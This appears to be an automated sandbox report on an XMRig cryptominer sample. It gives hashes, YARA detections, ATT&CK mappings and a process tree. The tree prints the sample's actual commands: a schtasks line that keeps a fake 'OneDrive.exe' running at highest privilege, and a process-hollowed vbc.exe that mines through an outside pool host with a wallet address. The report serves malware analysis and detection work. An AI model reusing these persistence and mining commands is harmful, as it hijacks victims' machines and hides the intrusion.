xmrig | cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9

General

Target

cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe
Size

4.2MB
MD5

d6af79c29645eab72cbe21a3a5a118db
SHA1

280950ed79e57afd2f6e1d6dd677ade37ca9d75a
SHA256

cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9
SHA512

7c9e801a5385e499882f46ec3bff42fcddb1926819781ce1f8120637bf7da444b0f4b4188650b12282cb24f39c30b02a5bbfd8a1566906cd05a14768a1d7b413
SSDEEP

98304:y1W9Kp+CladnYS2dru3SkG/Mul2rq/aReDkizMeQU90:yuKp+VfvQ/Mul2rVe4iwVU90

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral2/memory/3036-26-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-27-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-29-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-28-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-25-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-22-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-32-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-33-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-35-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-36-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-38-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-37-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3036-41-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4332	OneDrive.exe

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3036-17-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-20-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-23-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-26-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-27-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-29-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-28-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-25-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-22-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-19-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-32-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-33-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-35-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-36-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-38-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-37-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3036-41-0x0000000140000000-0x00000001407DC000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3952	schtasks.exe
2296	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
996	timeout.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4332	OneDrive.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4040	cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe
Token: SeDebugPrivilege	4332	OneDrive.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 2972	4040	cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe	22
PID 4040 wrote to memory of 2972	4040	cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe	22
PID 2972 wrote to memory of 996	2972	cmd.exe	20
PID 2972 wrote to memory of 996	2972	cmd.exe	20
PID 2972 wrote to memory of 4332	2972	cmd.exe	73
PID 2972 wrote to memory of 4332	2972	cmd.exe	73
PID 4332 wrote to memory of 3584	4332	OneDrive.exe	79
PID 4332 wrote to memory of 3584	4332	OneDrive.exe	79
PID 3584 wrote to memory of 3952	3584	cmd.exe	76
PID 3584 wrote to memory of 3952	3584	cmd.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe
"C:\Users\Admin\AppData\Local\Temp\cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7678.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
    "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4332
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3584
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
      4⤵
      PID:3036

C:\Windows\system32\timeout.exe
timeout 3
1⤵
- Delays execution with timeout.exe
PID:996

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
1⤵
- Creates scheduled task(s)
PID:3952

C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
1⤵
PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
  2⤵
  PID:4204
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
    3⤵
    - Creates scheduled task(s)
    PID:2296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3036-22-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-17-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-43-0x000002A9920A0000-0x000002A9920C0000-memory.dmp

Filesize
128KB

Download
memory/3036-42-0x000002A991E70000-0x000002A991E90000-memory.dmp

Filesize
128KB

Download
memory/3036-41-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-37-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-39-0x000002A991E70000-0x000002A991E90000-memory.dmp

Filesize
128KB

Download
memory/3036-40-0x000002A9920A0000-0x000002A9920C0000-memory.dmp

Filesize
128KB

Download
memory/3036-20-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-19-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-24-0x000002A8FF3C0000-0x000002A8FF3E0000-memory.dmp

Filesize
128KB

Download
memory/3036-26-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-27-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-29-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-28-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-25-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-38-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-36-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-23-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-32-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-34-0x000002A8FF430000-0x000002A8FF450000-memory.dmp

Filesize
128KB

Download
memory/3036-33-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3036-35-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3852-46-0x00007FFAC4A40000-0x00007FFAC542C000-memory.dmp

Filesize
9.9MB

Download
memory/3852-48-0x0000000003DC0000-0x0000000003DD0000-memory.dmp

Filesize
64KB

Download
memory/3852-49-0x00007FFAC4A40000-0x00007FFAC542C000-memory.dmp

Filesize
9.9MB

Download
memory/4040-1-0x00007FFAC4A40000-0x00007FFAC542C000-memory.dmp

Filesize
9.9MB

Download
memory/4040-6-0x0000000003C40000-0x0000000003C50000-memory.dmp

Filesize
64KB

Download
memory/4040-0-0x00000000009D0000-0x0000000000FF8000-memory.dmp

Filesize
6.2MB

Download
memory/4040-10-0x00007FFAC4A40000-0x00007FFAC542C000-memory.dmp

Filesize
9.9MB

Download
memory/4040-2-0x0000000001D70000-0x0000000001D71000-memory.dmp

Filesize
4KB

Download
memory/4332-21-0x00007FFAC4A40000-0x00007FFAC542C000-memory.dmp

Filesize
9.9MB

Download
memory/4332-16-0x000000001C650000-0x000000001C660000-memory.dmp

Filesize
64KB

Download
memory/4332-14-0x00007FFAC4A40000-0x00007FFAC542C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads